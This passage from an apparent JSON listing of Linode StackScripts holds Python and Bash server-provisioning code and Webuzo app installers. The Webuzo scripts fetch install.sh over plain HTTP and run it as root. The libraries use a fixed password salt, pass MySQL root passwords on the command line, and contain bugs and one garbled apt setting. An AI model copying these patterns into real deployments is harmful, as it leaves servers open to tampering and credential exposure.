on logging.\"\"\"\n\t\n\tlogging.basicConfig(filename=the_file, level=the_level)\n\tlogging.info(\"Logging
has started. \" + str(time.time()))\n\n\ndef system_detect_distro():\n\t\"\"\"Prepares
distro information.\n\t\n\tThis is critical to support the Linode Core Distributions
with a single\n\tscript.\n\t\"\"\"\n\tglobal distro\n\n\t# add support for logging\n\t\n\tdistro
= dict(zip((''distname'', ''version'', ''codename''),\n\tplatform.linux_distribution(full_distribution_name=0)))\n\t\n\tdistro[''distname'']
= distro[''distname''].lower()\n\n\tif distro[''distname''] in (''debian'',
''ubuntu''):\n\t\tdistro[''family''] = \"debian\"\n\telif distro[''distname'']
in (''fedora'', ''centos''):\n\t\tdistro[''family''] = \"redhat\"\n\telse:\n\t\traise
NotImplementedError(\"This distribution is not supported.\")\n\n\ndef system_IP_get():\n\t\"\"\"Return
IPv4 address configured on eth0.\n\t\n\tThis basically is a disgusting hack.
Please let me know if you find a\n\tcleaner way to do this.\"\"\"\n\t# add support
for logging\n\n\ts = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)\n\treturn
socket.inet_ntoa(fcntl.ioctl(\n\t\ts.fileno(),\n\t\t0x8915, # SIOCGIFADDR\n\t\tstruct.pack(''256s'',
\"eth0\")\n\t)[20:24])\n\n\ndef system_IP_rdns(IP):\n\t\"\"\"Get PTR for given
IP address.\"\"\"\n\t# add support for logging\n\n\treturn socket.gethostbyaddr(IP)[0]\n\n\ndef
system_package_install(package, update_first=True):\n\t\"\"\"Install a package
with the appropriate package manager.\"\"\"\n\t# add support for logging\n\n\tif
distro is None:\n\t\tsystem_detect_distro()\n\n\tsystem_update() if update_first
else None\n\t\n\tif distro[''family''] == \"debian\":\n\t\tos.environ[''DEBIAN_FRONTEND'']
= \"noninteractive\"\n\t\tcache = apt.Cache()\n\t\tpkg = cache[package]\n\t\tpkg.mark_install()\n\t\tcache.commit()\n\telif
distro[''distname''] == \"centos\":\n\t\tyb = yum.YumBase()\n\t\tyb.conf.assumeyes
= True\n\t\tyb.install(name=package)\n\t\tyb.resolveDeps()\n\t\tyb.processTransaction()\n\t\tyb.close()\n\telif
distro[''distname''] == \"fedora\":\n\t\tdnfb = dnf.Base()\n\t\tdnfb.conf.assumeyes
= True\n\t\tdnfb.read_all_repos()\n\t\tdnfb.fill_sack()\n\t\tdnfb.install(package)\n\t\tdnfb.resolve()\n\t\tdnfb.download_packages(dnfb.transaction.install_set)\n\t\tdnfb.do_transaction()\n\t\tdnfb.close()\n\n\ndef
system_update():\n\t\"\"\"Uses the distro''s package manager to update packages.\"\"\"\n\t#add
support for logging\n\t\n\tif distro is None:\n\t\tsystem_detect_distro()\n\t\n\tif
distro[''family''] == \"debian\":\n\t\tcache = apt.Cache()\n\t\tcache.update()\n\t\tcache.open(None)\n\t\tcache.upgrade()\n\t\tcache.commit()\n\telif
distro[''distname''] == \"centos\":\n\t\tyb = yum.YumBase()\n\t\tyb.conf.assumeyes
= True\n\t\tyb.update()\n\t\tyb.resolveDeps()\n\t\tyb.processTransaction()\n\t\tyb.close()\n\telif
distro[''distname''] == \"fedora\":\n\t\tdnfb = dnf.Base()\n\t\tdnfb.conf.assumeyes
= True\n\t\t#dnfb.read_all_repos() #updates were failing with this line\n\t\tdnfb.fill_sack()\n\t\tdnfb.upgrade_all()\n\t\tdnfb.resolve()\n\t\tdnfb.do_transaction()\n\t\tdnfb.close()\n\n\ndef
user_add(username, password, groups):\n\t\"\"\"Creates a Linux user account.\n\t\n\tArgs:\n\t\tusername
(String): A Linux username.\n\t\tpassword (String): Password for the user.\n\t\tgroups
(tuple): Groups that the user should be added to.\n\t\n\tReturns:\n\t\tbool:
True if successful, False otherwise.\n\t\"\"\"\n\n\t# need to implement logging\n\t#
need to implement group functionality\n\n\treturn subprocess.call([''useradd'',
''-m'', ''-p'', crypt.crypt(password, \"22\"), ''-s'', ''/bin/bash'', username])\n\n\ndef
user_add_pubkey(username, key):\n\t\"\"\"Adds the public SSH key to the specified
user.\"\"\"\n\t# need to implement logging\n\t\n\tif username != \"root\":\n\t\tos.seteuid(pwd.getpwnam(username).pw_uid)\n\t\tos.setegid(pwd.getpwnam(username).pw_gid)\n\t\n\tpubkey_dir
= os.path.join(os.getenv(\"HOME\"), \".ssh\")\n\t\n\tif not os.path.isdir(pubkey_dir):\n\t\tos.makedirs(pubkey_dir)\n\t\n\twith
open(os.path.join(pubkey_dir, \"authorized_keys\")) as f:\n\t\tf.write(key)\n\t\n\tif
username != \"root\":\n\t\tos.seteuid(0)\n\t\tos.setegid(0)", "user_defined_fields":
[]}, {"id": 9219, "username": "webuzo", "user_gravatar_id": "cf0348f835d60e6d133040f49bb36ec5",
"label": "PRADO powered by Webuzo", "description": "PRADO is a component-based
and event-driven programming framework for developing Web applications in PHP
5.\r\nPRADO stands for PHP Rapid Application Development Object-oriented.\r\n\t\t\t\r\nWebuzo
is a Single User Control Panel which helps users deploy Web Apps (WordPress,
Joomla, Drupal, etc) or System Apps (Apache, NGINX, PHP, Java, MongoDB, etc)
on their virtual machines or in the cloud.\r\n\r\nYou can get a Webuzo License
here\r\nhttp://www.webuzo.com/pricing\r\n\r\nPath to Installation Logs : /root/webuzo-install.log\r\n\r\nInstructions\r\nOn
completion of the installation process, access http://your-ip:2004 to configure
PRADO and Softaculous Webuzo initially.\r\n\r\nContact : http://webuzo.com/contact",
"ordinal": 0, "logo_url": "", "images": ["linode/centos5.6", "linode/ubuntu10.04lts32bit",
"linode/ubuntu10.04lts", "linode/ubuntu14.04lts", "linode/ubuntu12.04lts", "linode/centos6.8"],
"deployments_total": 0, "deployments_active": 0, "is_public": true, "mine":
false, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "rev_note":
"PRADO powered by Webuzo", "script": "#!/bin/bash\n# <udf name=\"webuzo_license_key\"
label=\"Premium Webuzo License Key\" example=\"WEBUZO-XXXXX-XXXXX-XXXXX\"/>\n\n###########################################################################################################\n#
Install PRADO and Softaculous Webuzo\n# Description -\n# About Webuzo :\n# Webuzo
is a Single User Control Panel which helps users deploy Web Apps (WordPress,
Joomla, Drupal, etc)\n# or System Apps (Apache, NGINX, PHP, Java, MongoDB,
etc) on their virtual machines or in the cloud.\n#\n# About PRADO :\n# PRADO
is a component-based and event-driven programming framework for developing Web
\n# applications in PHP 5. PRADO stands for PHP Rapid Application Development
Object-oriented.\n###########################################################################################################\n\n#
Install PRADO Script using Webuzo\nfunction install_webuzo_script(){\n \n #
Install Webuzo\n install_webuzo\n \n wget http://files.webuzo.com/ip.php
>> /root/webuzo-install.log 2>&1\n ip=$(cat ip.php)\n \n /usr/local/emps/bin/curl
\"http://$ip:2004/install.php?prepareinstall=221&license=$1\"\n \n}\n\n# Install
Webuzo Function\nfunction install_webuzo(){\n \n # Fetch the Webuzo
Installer\n wget -N http://files.webuzo.com/install.sh >> /root/webuzo-install.log
2>&1\n \n # Modify Permissions\n chmod 0755 install.sh >> /root/webuzo-install.log
2>&1\n \n # Execute\n ./install.sh >> /root/webuzo-install.log 2>&1\n \n #
Clean Up\n rm -rf install.sh >> /root/webuzo-install.log 2>&1\n \n}\n\n#########################################################\n#\tInstalling
PRADO and Softaculous Webuzo\n#########################################################\n\ninstall_webuzo_script
$WEBUZO_LICENSE_KEY\n\n# Check the return of the above command and display the
result accordingly\n\necho \" \"\necho \"-------------------------------------\"\necho
\" Installation Completed \"\necho \"-------------------------------------\"\necho
\"Congratulations, PRADO has been successfully installed\"\necho \" \"\necho
\"You can now configure PRADO and Softaculous Webuzo at the following URL :\"\necho
\"http://$ip:2004/\"\necho \" \"\necho \"Thank you for choosing Softaculous
Webuzo !\"\necho \" \"", "user_defined_fields": []}, {"id": 9220, "username":
"webuzo", "user_gravatar_id": "cf0348f835d60e6d133040f49bb36ec5", "label": "BIGACE
powered by Webuzo", "description": "BIGACE is a free and professional grade
software package that allows you to set up your own website within minutes.\r\n\r\nIts
powerful backend puts you in full control of the layout and content of your
pages. And when you need more, you can choose from many Plugins and Themes to
extend it.\r\n\r\nBigace is designed to provide you with all the features you
need from a CMS while having complete freedom to customize it the way you want.
\r\n\t\t\t\r\nWebuzo is a Single User Control Panel which helps users deploy
Web Apps (WordPress, Joomla, Drupal, etc) or System Apps (Apache, NGINX, PHP,
Java, MongoDB, etc) on their virtual machines or in the cloud.\r\n\r\nYou can
get a Webuzo License here\r\nhttp://www.webuzo.com/pricing\r\n\r\nPath to Installation
Logs : /root/webuzo-install.log\r\n\r\nInstructions\r\nOn completion of the
installation process, access http://your-ip:2004 to configure BIGACE and Softaculous
Webuzo initially.\r\n\r\nContact : http://webuzo.com/contact", "ordinal": 0,
"logo_url": "", "images": ["linode/centos5.6", "linode/ubuntu10.04lts32bit",
"linode/ubuntu10.04lts", "linode/ubuntu14.04lts", "linode/ubuntu12.04lts", "linode/centos6.8"],
"deployments_total": 0, "deployments_active": 0, "is_public": true, "mine":
false, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "rev_note":
"BIGACE powered by Webuzo", "script": "#!/bin/bash\n# <udf name=\"webuzo_license_key\"
label=\"Premium Webuzo License Key\" example=\"WEBUZO-XXXXX-XXXXX-XXXXX\"/>\n\n###########################################################################################################\n#
Install BIGACE and Softaculous Webuzo\n# Description -\n# About Webuzo :\n# Webuzo
is a Single User Control Panel which helps users deploy Web Apps (WordPress,
Joomla, Drupal, etc)\n# or System Apps (Apache, NGINX, PHP, Java, MongoDB,
etc) on their virtual machines or in the cloud.\n#\n# About BIGACE :\n# BIGACE
is a free and professional grade software package that allows you to set up
your own website within minutes.\n# Its powerful backend puts you in full
control of the layout and content of your pages.\n# And when you need more,
you can choose from many Plugins and Themes to extend it.\n###########################################################################################################\n\n#
Install BIGACE Script using Webuzo\nfunction install_webuzo_script(){\n \n #
Install Webuzo\n install_webuzo\n \n wget http://files.webuzo.com/ip.php
>> /root/webuzo-install.log 2>&1\n ip=$(cat ip.php)\n \n /usr/local/emps/bin/curl
\"http://$ip:2004/install.php?prepareinstall=400&license=$1\"\n \n}\n\n# Install
Webuzo Function\nfunction install_webuzo(){\n \n # Fetch the Webuzo
Installer\n wget -N http://files.webuzo.com/install.sh >> /root/webuzo-install.log
2>&1\n \n # Modify Permissions\n chmod 0755 install.sh >> /root/webuzo-install.log
2>&1\n \n # Execute\n ./install.sh >> /root/webuzo-install.log 2>&1\n \n #
Clean Up\n rm -rf install.sh >> /root/webuzo-install.log 2>&1\n \n}\n\n#########################################################\n#\tInstalling
BIGACE and Softaculous Webuzo\n#########################################################\n\ninstall_webuzo_script
$WEBUZO_LICENSE_KEY\n\n# Check the return of the above command and display the
result accordingly\n\necho \" \"\necho \"-------------------------------------\"\necho
\" Installation Completed \"\necho \"-------------------------------------\"\necho
\"Congratulations, BIGACE has been successfully installed\"\necho \" \"\necho
\"You can now configure BIGACE and Softaculous Webuzo at the following URL :\"\necho
\"http://$ip:2004/\"\necho \" \"\necho \"Thank you for choosing Softaculous
Webuzo !\"\necho \" \"", "user_defined_fields": []}, {"id": 84996, "username":
"tkelso", "user_gravatar_id": "2c62e010d29d49a6d80959d24e5c4bb0", "label": "Library_Bash",
"description": "Bash Library for StackScripts\r\n** FUNCTIONS ONLY **", "ordinal":
0, "logo_url": "", "images": ["linode/centos7", "linode/debian8", "linode/ubuntu16.04lts"],
"deployments_total": 0, "deployments_active": 0, "is_public": true, "mine":
false, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "rev_note":
"v0.5.0", "script": "#!/bin/bash\n\n# Complete Bash Library\n# v0.5.0\n\n# Supported
Distributions\n#########################\n# Debian 8\n# Ubuntu 16.04\n# Ubuntu
12.04\n# CentOS 7\n#########################\n\n# Notes\n#########################\n#
Add function_restart_services\n# Add goodstuff\n# Deeper fail2ban configuration\n#
Percentage based service tuning\n# Incorperate deprecated functions into new
distros\n#########################\n\n# System Ubuntu\n###############\n\nfunction
ubuntu1604_set_hostname {\n\t# Sets hostname and updates /etc/hosts file\n\n\tHOSTNAME=\"$1\" \n if
[ ! -n \"$HOSTNAME\" ]; then\n echo \"Hostname Not Defined.\"\n return
1;\n fi\n \n hostnamectl set-hostname $1\n sed -i \"s/ubuntu/$1/g\"
/etc/hosts\n}\n\nfunction ubuntu1604_update {\n\t# Configures Apt, disables
interactive prompt, updates repositories and upgrades system packages.\n\n\t#
Forces Apt to use IPv4\n\techo ''Acquir1234::5678orceIPv4 \"true\";'' > /etc/apt/apt.conf.d/99force-ipv4\n\t#
Disables interactive prompts\n\texport DEBIAN_FRONTEND=noninteractive\n\t# Updates
Repositories and Upgrades Packages\n\tapt-get update && apt-get upgrade -y\n}\n\nfunction
ubuntu1604_install_additional {\n\t# Install additional system packages\n\t\n\tapt-get
install -y fail2ban vim screen\n}\n\nfunction ubuntu1604_restart_lamp {\n\tsystemctl
restart apache2\n\tsystemctl restart mysql\n}\n\n# Users Ubuntu and Authentication\n#################################\n\nfunction
ubuntu1604_user_add_sudo {\n # Installs sudo, creates non-root user and adds
the user to the sudo group\n\n USERNAME=\"$1\"\n USERPASS=\"$2\"\n if
[ ! -n \"$USERNAME\" ] || [ ! -n \"$USERPASS\" ]; then\n echo \"No username
and/or password entered.\"\n return 1;\n fi\n \n apt-get -y
install sudo\n adduser $USERNAME --disabled-password --gecos \"\"\n echo
\"$USERNAME:$USERPASS\" | chpasswd\n usermod -aG sudo $USERNAME\n}\n\nfunction
ubuntu1604_key_user {\n\t# Adds public SSH key to non-root user\n\n\tUSERNAME=\"$1\"\n KEY=\"$2\"\n if
[ ! -n \"$USERNAME\" ] || [ ! -n \"$KEY\" ];\tthen\n echo \"No username
and/or public key entered.\"\n return 1;\n fi\n\n\tmkdir /home/$1/.ssh\n\techo
$2 > /home/$1/.ssh/authorized_keys\n\tchown -R $1:$1 /home/$1/*\n\tchown -R
$1:$1 /home/$1/.*\n}\n\nfunction ubuntu1604_ssh_disable_root {\n\t# Disables
Root SSH Access and restarts SSH\n\n sed -i -e ''s/PermitRootLogin\\ yes/PermitRootLogin\\
no/g'' /etc/ssh/sshd_config\n systemctl restart ssh \n}\n\nfunction ubuntu1604_secure_apache
{\n\t# Updates /etc/apache2/conf-available/security.conf with restrictive settings\n\n\tsed
-i -e ''s/\\#ServerSignature\\ Off/ServerSignature\\ Off/g'' /etc/apache2/conf-available/security.conf\n\tsed
-i -e ''s/ServerSignature\\ On/\\#ServerSignature\\ On/g'' /etc/apache2/conf-available/security.conf\n\tsed
-i -e ''s/\\#ServerTokens\\ Minimal/ServerTokens\\ Minimal/g'' /etc/apache2/conf-available/security.conf\n\tsed
-i -e ''s/ServerTokens\\ OS/\\#ServerTokens\\ OS/g'' /etc/apache2/conf-available/security.conf\n}\n\n#
System Debian 8\n#################\n\nfunction debian8_set_hostname {\n\t# Sets
hostname and updates /etc/hosts file\n\n\tHOSTNAME=\"$1\" \n if [ ! -n \"$HOSTNAME\"
]; then\n echo \"Hostname Not Defined.\"\n return 1;\n fi\n \n hostnamectl
set-hostname $1\n sed -i \"s/debian/$1/g\" /etc/hosts\n}\n\nfunction debian8_update
{\n\t# Configures Apt, disables interactive prompt, updates repositories and
upgrades system packages.\n\n\t# Forces Apt to use IPv4\n\techo ''Acquir1234::5678orceIPv4
\"true\";'' > /etc/apt/apt.conf.d/99force-ipv4\n\t# Disables interactive prompts\n\texport
DEBIAN_FRONTEND=noninteractive\n\t# Updates Repositories and Upgrades Packages\n\tapt-get
update && apt-get upgrade -y\n}\n\nfunction debian8_install_additional {\n\t#
Install additional system packages\n\t\n\tapt-get install -y fail2ban vim screen\n}\n\nfunction
debian8_restart_lamp {\n\tsystemctl restart apache2\n\tsystemctl restart mysql\n}\n\n#
Debian 8 Users and Authentication\n###################################\n\nfunction
debian8_user_add_sudo {\n # Installs sudo, creates non-root user and adds
the user to the sudo group\n\n USERNAME=\"$1\"\n USERPASS=\"$2\"\n if
[ ! -n \"$USERNAME\" ] || [ ! -n \"$USERPASS\" ]; then\n echo \"No username
and/or password entered.\"\n return 1;\n fi\n \n apt-get -y
install sudo\n adduser $USERNAME --disabled-password --gecos \"\"\n echo
\"$USERNAME:$USERPASS\" | chpasswd\n usermod -aG sudo $USERNAME\n}\n\nfunction
debian8_key_user {\n\t# Adds public SSH key to non-root user\n\n\tUSERNAME=\"$1\"\n KEY=\"$2\"\n if
[ ! -n \"$USERNAME\" ] || [ ! -n \"$KEY\" ];\tthen\n echo \"No username
and/or public key entered.\"\n return 1;\n fi\n\n\tmkdir /home/$1/.ssh\n\techo
$2 > /home/$1/.ssh/authorized_keys\n\tchown -R $1:$1 /home/$1/*\n\tchown -R
$1:$1 /home/$1/.*\n}\n\nfunction debian8_ssh_disable_root {\n\t# Disables Root
SSH Access and restarts SSH\n\n sed -i -e ''s/PermitRootLogin\\ yes/PermitRootLogin\\
no/g'' /etc/ssh/sshd_config\n systemctl restart ssh \n}\n\nfunction debian8_secure_apache
{\n\t# Updates /etc/apache2/conf-available/security.conf with restrictive settings\n\n\tsed
-i -e ''s/\\#ServerSignature\\ Off/ServerSignature\\ Off/g'' /etc/apache2/conf-available/security.conf\n\tsed
-i -e ''s/ServerSignature\\ On/\\#ServerSignature\\ On/g'' /etc/apache2/conf-available/security.conf\n\tsed
-i -e ''s/\\#ServerTokens\\ Minimal/ServerTokens\\ Minimal/g'' /etc/apache2/conf-available/security.conf\n\tsed
-i -e ''s/ServerTokens\\ OS/\\#ServerTokens\\ OS/g'' /etc/apache2/conf-available/security.conf\n}\n\n#
System CentOS 7\n#################\n\nfunction centos7_set_hostname {\n\t# Sets
hostname and updates /etc/hosts file\n\n\tHOSTNAME=\"$1\" \n if [ !
-n \"$HOSTNAME\" ]; then\n echo \"Hostname undefined\"\n return
1;\n fi\n \n hostnamectl set-hostname $1\n sed -i \"s/localhost/$1/g\"
/etc/hosts\n}\n\nfunction centos7_update {\n\t# Full system update\n\n\tyum
update -y\n}\n\nfunction centos7_install_epel-release {\n\tyum install epel-release
-y\n}\n\nfunction centos7_system_primary_ip {\n # returns the primary IP
assigned to eth0\n echo $(ifconfig eth0 | awk -F: ''/inet addr:/ {print $2}''
| awk ''{ print $1 }'')\n}\n\nfunction centos7_get_rdns {\n # calls host
on an IP address and returns its reverse dns\n\n if [ ! -e /usr/bin/host
]; then\n aptitude -y install dnsutils > /dev/null\n fi\n echo
$(host $1 | awk ''/pointer/ {print $5}'' | sed ''s/\\.$//'')\n}\n\nfunction
centos7_get_rdns_primary_ip {\n # returns the reverse dns of the primary
IP assigned to this system\n echo $(get_rdns $(system_primary_ip))\n}\n\nfunction
centos7_install_additional {\n\t# Installs additional system packages and enabled
Mariadb to start on boot.\n\n\tyum install -y fail2ban vim screen\n\tsystemctl
enable mariadb\n}\n\nfunction centos7_restart_lamp {\n\tsystemctl restart httpd\n\tsystemctl
restart mariadb\n}\n\n# Users CentOS 7\n################\n\nfunction centos7_user_add_sudo
{\n\t# Installs Sudo, adds non-root user and adds non-root user to wheel group.\n\n USERNAME=\"$1\"\n USERPASS=\"$2\"\n if
[ ! -n \"$USERNAME\" ] || [ ! -n \"$USERPASS\" ]; then\n echo \"No new
username and/or password entered\"\n return 1;\n fi\n \n yum
install -y sudo\n adduser $USERNAME\n echo \"$USERNAME:$USERPASS\" | chpasswd\n usermod
-aG wheel $USERNAME\n}\n\nfunction centos7_key_user {\n\t# Adds public SSH key
to non-root user\n\n\tUSERNAME=\"$1\"\n KEY=\"$2\"\n if [ ! -n \"$USERNAME\"
] || [ ! -n \"$KEY\" ]; then\n echo \"No username and/or public key entered.\"\n return
1;\n fi\n\n\tmkdir /home/$1/.ssh\n\techo $2 > /home/$1/.ssh/authorized_keys\n\tchown
-R $1:$1 /home/$1/*\n\tchown -R $1:$1 /home/$1/.*\n}\n\nfunction centos7_ssh_disable_root
{\n\t# Disables root SSH login and restarts SSH\n\n sed -i -e ''s/PermitRootLogin\\
yes/PermitRootLogin\\ no/g'' /etc/ssh/sshd_config\n systemctl restart sshd \n}\n\n#
MySQL\n#######\n\nfunction ubuntu1604_install_mysql {\n\techo \"mysql-server
mysql-server/root_password password $1\" | debconf-set-selections\n\techo \"mysql-server
mysql-server/root_password_again password $1\" | debconf-set-selections\n\tapt-get
install -y mysql-server\n\tsystemctl enable mysql\n}\n\nfunction debian8_install_mysql
{\n\techo \"mysql-server mysql-server/root_password password $1\" | debconf-set-selections\n\techo
\"mysql-server mysql-server/root_password_again password $1\" | debconf-set-selections\n\tapt-get
install -y mysql-server\n\tsystemctl enable mysql\n}\n\nfunction centos7_install_mysql
{\n\tyum install mariadb-server -y\n\tsystemctl enable mariadb\n}\n\nfunction
mysql_create_database {\n\t# Creates MySQL Database with user-determined name\n\t\n\tDBPASS=\"$1\"\n\tDBNAME=\"$2\"\n\tif
[ ! -n \"$DBPASS\" ] || [ ! -n \"$DBNAME\" ]; then\n\t\techo \"No Database Name
and/or MySQL Password entered.\"\n\t\treturn 1;\n\tfi\n\n\techo \"CREATE DATABASE
$2;\" | mysql -u root -p$1\n}\n\nfunction mysql_create_user {\n\t# Creates non-root
MySQL\n\n\tDBPASS=\"$1\"\n\tUSER=\"$2\"\n\tUSERPASS=\"$3\"\n\tif [ ! -n \"$DBPASS\"
] || [ ! -n \"$USER\" ] || [ ! -n \"$USERPASS\" ]; then\n\t\techo \"MySQL Username,
Username Password and MySQL Root Password are Required.\"\n\t\treturn 1;\n\tfi\n\n\techo
\"CREATE USER ''$2''@''localhost'' IDENTIFIED BY ''$3'';\" | mysql -u root -p$1\n}\n\nfunction
mysql_grant_user {\n\t# Grants privileges for non-root MySQL user on user-defined
database.\n\n\tDBPASS=\"$1\"\n\tUSER=\"$2\"\n\tDB=\"$3\"\n\tif [ ! -n \"$DBPASS\"
] || [ ! -n \"$USER\" ] || [ ! -n \"$DB\" ]; then\n\t\techo \"MySQL Username,
Database and MySQL Root Password are Required.\"\n\t\treturn 1;\n\tfi\n\n\techo
\"GRANT ALL PRIVILEGES ON $3.* TO ''$2''@''localhost'';\" | mysql -u root -p$1\n echo
\"FLUSH PRIVILEGES;\" | mysql -u root -p$1\n}\n\nfunction centos7_mysql_setpass
{\n\t# Sets root password for MariaDB\n\n\tDBPASS=\"$1\"\n\tif [ ! -n \"$DBPASS\"];
then\n\t\techo \"No Database Password Set\"\n\t\treturn 1;\n\tfi\n\n\techo \"SET
PASSWORD FOR ''root''@''localhost'' = PASSWORD(''$1'');\" | mysql -u root\n}\n\nfunction
ubuntu1604_mysql_secure_installation {\n\t# Installs expect, runs mysql_secure_installation
then uninstall expect \n\n\tapt-get install -y expect\n\tSECURE_MYSQL=$(expect
-c \"\n\tset timeout 10\n\tspawn mysql_secure_installation\n\texpect \\\"Enter
current password for root (enter for none):\\\"\n\tsend \\\"$MYSQL\\r\\\"\n\texpect
\\\"Change the root password?\\\"\n\tsend \\\"n\\r\\\"\n\texpect \\\"Remove
anonymous users?\\\"\n\tsend \\\"y\\r\\\"\n\texpect \\\"Disallow root login
remotely?\\\"\n\tsend \\\"y\\r\\\"\n\texpect \\\"Remove test database and access
to it?\\\"\n\tsend \\\"y\\r\\\"\n\texpect \\\"Reload privilege tables now?\\\"\n\tsend
\\\"y\\r\\\"\n\texpect eof\n\t\")\n\n\techo \"$SECURE_MYSQL\"\n\n\tapt-get purge
-y expect\n}\n\nfunction debian8_mysql_secure_installation {\n\t# Installs expect,
runs mysql_secure_installation then uninstall expect \n\n\tapt-get install -y
expect\n\tSECURE_MYSQL=$(expect -c \"\n\tset timeout 10\n\tspawn mysql_secure_installation\n\texpect
\\\"Enter current password for root (enter for none):\\\"\n\tsend \\\"$MYSQL\\r\\\"\n\texpect
\\\"Change the root password?\\\"\n\tsend \\\"n\\r\\\"\n\texpect \\\"Remove
anonymous users?\\\"\n\tsend \\\"y\\r\\\"\n\texpect \\\"Disallow root login
remotely?\\\"\n\tsend \\\"y\\r\\\"\n\texpect \\\"Remove test database and access
to it?\\\"\n\tsend \\\"y\\r\\\"\n\texpect \\\"Reload privilege tables now?\\\"\n\tsend
\\\"y\\r\\\"\n\texpect eof\n\t\")\n\n\techo \"$SECURE_MYSQL\"\n\n\tapt-get purge
-y expect\n}\n\nfunction centos7_mysql_secure_installation {\n\t# Installs expect,
runs mysql_secure_installation then uninstall expect \n\n\tyum install -y expect\n\tSECURE_MYSQL=$(expect
-c \"\n\tset timeout 10\n\tspawn mysql_secure_installation\n\texpect \\\"Enter
current password for root (enter for none):\\\"\n\tsend \\\"$1\\r\\\"\n\texpect
\\\"Change the root password?\\\"\n\tsend \\\"n\\r\\\"\n\texpect \\\"Remove
anonymous users?\\\"\n\tsend \\\"y\\r\\\"\n\texpect \\\"Disallow root login
remotely?\\\"\n\tsend \\\"y\\r\\\"\n\texpect \\\"Remove test database and access
to it?\\\"\n\tsend \\\"y\\r\\\"\n\texpect \\\"Reload privilege tables now?\\\"\n\tsend
\\\"y\\r\\\"\n\texpect eof\n\t\")\n\n\techo \"$SECURE_MYSQL\"\n\n\tyum remove
-y expect\n}\n\n# Apache\n########\n\nfunction ubuntu1604_install_apache {\n\tapt-get
install -y apache2\n\tsystemctl enable apache2\n}\n\nfunction debian8_install_apache
{\n\tapt-get install -y apache2\n\tsystemctl enable apache2\n}\n\nfunction ubuntu1604_apache_create_virtualhost
{\n\t# Creates Apache2 VirtualHost for user-defined domain.\n\n\tDOMAIN=\"$1\"\n\tif
[ ! -n \"$DOMAIN\" ]; then\n\t\techo \"No FQDN Defined.\"\n\t\treturn 1;\n\tfi\n\n\t#
Creates webroot directory and log directory\n mkdir -p /var/www/$1/{public_html,logs}\n #
Creates VirtualHost file\n touch /etc/apache2/sites-available/$1.conf\n echo
\"<VirtualHost *:80>\" >> /etc/apache2/sites-available/$1.conf\n echo \" ServerAdmin
webmaster@$1\" >> /etc/apache2/sites-available/$1.conf\n echo \" ServerName
$1\" >> /etc/apache2/sites-available/$1.conf\n echo \" ServerAlias www.$1\"
>> /etc/apache2/sites-available/$1.conf\n echo \" DocumentRoot /var/www/$1/public_html/\"
>> /etc/apache2/sites-available/$1.conf\n echo \" ErrorLog /var/www/$1/logs/$1-error.log\"
>> /etc/apache2/sites-available/$1.conf\n echo \" CustomLog /var/www/$1/logs/$1-access.log
combined\" >> /etc/apache2/sites-available/$1.conf\n echo \"</VirtualHost>\"
>> /etc/apache2/sites-available/$1.conf\n # Enables the VirtualHost\n a2ensite
$1.conf\n # Creates temporary index.html file with the FQDN\n \techo \"<html><head><title>$1</title></head><body><h1>$1</h1></body></html>\"
> /var/www/$1/public_html/index.html\n \t# Enables Apache2 to start on boot
and restarts Apache2.\n systemctl enable apache2\n systemctl restart apache2\n}\n\nfunction
debian8_apache_create_virtualhost {\n\t# Creates Apache2 VirtualHost for user-defined
domain.\n\n\tDOMAIN=\"$1\"\n\tif [ ! -n \"$DOMAIN\" ]; then\n\t\techo \"No FQDN
Defined.\"\n\t\treturn 1;\n\tfi\n\n\t# Creates webroot directory and log directory\n mkdir
-p /var/www/$1/{public_html,logs}\n # Creates VirtualHost file\n touch
/etc/apache2/sites-available/$1.conf\n echo \"<VirtualHost *:80>\" >> /etc/apache2/sites-available/$1.conf\n echo
\" ServerAdmin webmaster@$1\" >> /etc/apache2/sites-available/$1.conf\n echo
\" ServerName $1\" >> /etc/apache2/sites-available/$1.conf\n echo \" ServerAlias
www.$1\" >> /etc/apache2/sites-available/$1.conf\n echo \" DocumentRoot
/var/www/$1/public_html/\" >> /etc/apache2/sites-available/$1.conf\n echo
\" ErrorLog /var/www/$1/logs/$1-error.log\" >> /etc/apache2/sites-available/$1.conf\n echo
\" CustomLog /var/www/$1/logs/$1-access.log combined\" >> /etc/apache2/sites-available/$1.conf\n echo
\"</VirtualHost>\" >> /etc/apache2/sites-available/$1.conf\n # Enables the
VirtualHost\n a2ensite $1.conf\n # Creates temporary index.html file with
the FQDN\n \techo \"<html><head><title>$1</title></head><body><h1>$1</h1></body></html>\"
> /var/www/$1/public_html/index.html\n \t# Enables Apache2 to start on boot
and restarts Apache2.\n systemctl enable apache2\n systemctl restart apache2\n}\n\nfunction
ubuntu1604_apache_tune {\n\t# Disables KeepAlive, tunes Apache2 variables in
mpm-prefork and switches to mpm-prefork module.\n\n\techo \"<IfModule mpm_prefork_module>\"
> /etc/apache2/mods-available/mpm-prefork.conf\n\techo \" StartServers 4\"
>> /etc/apache2/mods-available/mpm-prefork.conf\n\techo \" MinSpareServers 20\"
>> /etc/apache2/mods-available/mpm-prefork.conf\n\techo \" MaxSpareServers 40\"
>> /etc/apache2/mods-available/mpm-prefork.conf\n\techo \" MaxRequestWorkers 200\"
>> /etc/apache2/mods-available/mpm-prefork.conf\n\techo \" MaxConnectionsPerChild 4500\"
>> /etc/apache2/mods-available/mpm-prefork.conf\n\techo \"</IfModule>\" >> /etc/apache2/mods-available/mpm-prefork.conf\n\ta2dismod
mpm_event\n\ta2enmod mpm_prefork\n}\n\nfunction debian8_apache_tune {\n\t# Disables
KeepAlive, tunes Apache2 variables in mpm-prefork and switches to mpm-prefork
module.\n\n\techo \"<IfModule mpm_prefork_module>\" > /etc/apache2/mods-available/mpm-prefork.conf\n\techo
\" StartServers 4\" >> /etc/apache2/mods-available/mpm-prefork.conf\n\techo
\" MinSpareServers 20\" >> /etc/apache2/mods-available/mpm-prefork.conf\n\techo
\" MaxSpareServers 40\" >> /etc/apache2/mods-available/mpm-prefork.conf\n\techo
\" MaxRequestWorkers 200\" >> /etc/apache2/mods-available/mpm-prefork.conf\n\techo
\" MaxConnectionsPerChild 4500\" >> /etc/apache2/mods-available/mpm-prefork.conf\n\techo
\"</IfModule>\" >> /etc/apache2/mods-available/mpm-prefork.conf\n\ta2dismod
